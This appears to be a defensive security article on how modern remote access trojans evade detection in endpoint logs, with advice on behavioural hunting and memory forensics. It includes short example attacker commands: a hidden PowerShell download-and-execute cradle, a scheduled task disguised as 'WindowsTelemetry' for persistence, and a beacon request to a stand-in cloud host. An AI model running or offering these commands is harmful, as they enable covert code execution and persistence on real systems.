Most environments already collect plenty of endpoint logs.
Process creation.
Network connections.
Registry changes.
User activity.
RATs still survive.
The issue is not a lack of data.
It is that RAT behavior often looks acceptable.
Modern RATs Do Not Behave Like Malware
Older RATs were noisy:
1. Obvious persistence keys
2. Suspicious binaries
3. Constant outbound traffic
Modern RATs avoid all of this.
They aim to look like:
1. Admin activity
2. System utilities
3. Legitimate applications
4. Normal user behavior
Endpoint logs record activity, not intent.
Common RAT Techniques That Blend In
Living-Off-the-Land Execution
Many RATs never drop a visible payload.
They use:
1. PowerShell
2. cmd.exe
3. rundll32
4. mshta
5. wmic
Example: PowerShell-Based RAT Loader
powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString($url)
Endpoint logs show PowerShell execution.
That happens thousands of times a day.
RAT Persistence Looks Legitimate
Persistence mechanisms are chosen to avoid alerts.
Common techniques:
Threat actor common persistence techniques include
1. Scheduling normal task names
2. Using Vendor tools registry run keys
3. Shortcuts placed in the Startup folder
4. Naming service names to look like system components
Example: Scheduled Task Persistence
schtasks /create /sc minute /mo 30 /tn "WindowsTelemetry" /tr update.ps1
Endpoint logs show task creation.
Admins create tasks every day.
RAT Network Traffic Is Designed to Be Boring
Most RATs today do not have an aggressive beaconing pattern.
Common Characteristics Observed For RAT C2 Traffic:
1. Have the use of HTTPS exclusively
2. Return and Connect on low frequency
3. Use Cloud Providers as C2 Infrastructure
4. Utilize Common User-Agent Strings For Detection
Example: RAT Beacon Pattern
curl https://storage-cloud-service.com/api/status
Looks like application traffic.
Firewall logs rarely flag this.
RATs Avoid Process Injection Alerts
Injection still happens, but carefully.
Modern RATs:
1. Inject into already trusted processes
2. Avoid obvious memory allocation spikes
3. Use signed loaders when possible
Common targets:
1. explorer.exe
2. svchost.exe
3. browser processes
Endpoint logs show process activity, not malicious control.
Why Signature-Based Detection Fails
Endpoint logs often rely on:
1. Known hashes
2. Known process names
3. Known command patterns
RATs defeat this by:
1. Frequent recompilation
2. Obfuscation
3. Runtime decryption
4. Fileless execution
Every build looks new.
RATs Abuse Legitimate Remote Tools
Some RATs are not malware at all.
They are:
1. Remote desktop tools
2. Admin frameworks
3. Screen sharing utilities
Installed quietly. Used maliciously.
Endpoint logs cannot tell intent.
Example: Remote Tool Abuse
AnyDesk.exe --start-with-win
Perfectly valid software.
Used perfectly maliciously.
Endpoint Logs Miss Context
Logs answer what happened, not why.
They miss:
1. User intent
2. Business relevance
3. Behavioral deviation
4. Timeline correlation
A single log entry rarely means anything.
Tools RAT Hunters Actually Use
Detection shifts away from single events.
Common tools:
1. Sysmon (with tuned configs)
2. EDR behavioral timelines
3. Memory inspection tools
4. Network flow correlation
Example: Sysmon Focus Areas
1. Process parent-child chains
2. Command-line anomalies
3. Rare binary execution
4. LOLBin abuse frequency
Memory Tells the Truth Logs Miss
RATs must exist in memory.
Tools used in investigations:
1. Volatility
2. Rekall
3. PE-sieve
Example: Suspicious Injected Module Detection
volatility -f memory.dmp malfind
Memory analysis catches what logs never show.
Why Detection Comes Late
Most RATs are discovered when:
1. Data is exfiltrated
2. Backups are touched
3. Credentials are reused elsewhere
4. Ransomware is deployed
The RAT was there long before.
What Improves Detection in Practice
Teams catching RATs earlier usually:
1. Baseline normal admin behavior
2. Alert on rare command patterns
3. Correlate endpoint + network + identity
4. Investigate successful activity
5. Hunt, not wait
Waiting for alerts is not enough.
Key Takeaways
1. Endpoint logs record activity, not intent
2. RATs use legitimate tools and workflows
3. Persistence is designed to look boring
4. Network traffic blends into normal usage
5. Memory and behavior reveal what logs miss
If something looks normal but feels unnecessary, start hunting there.
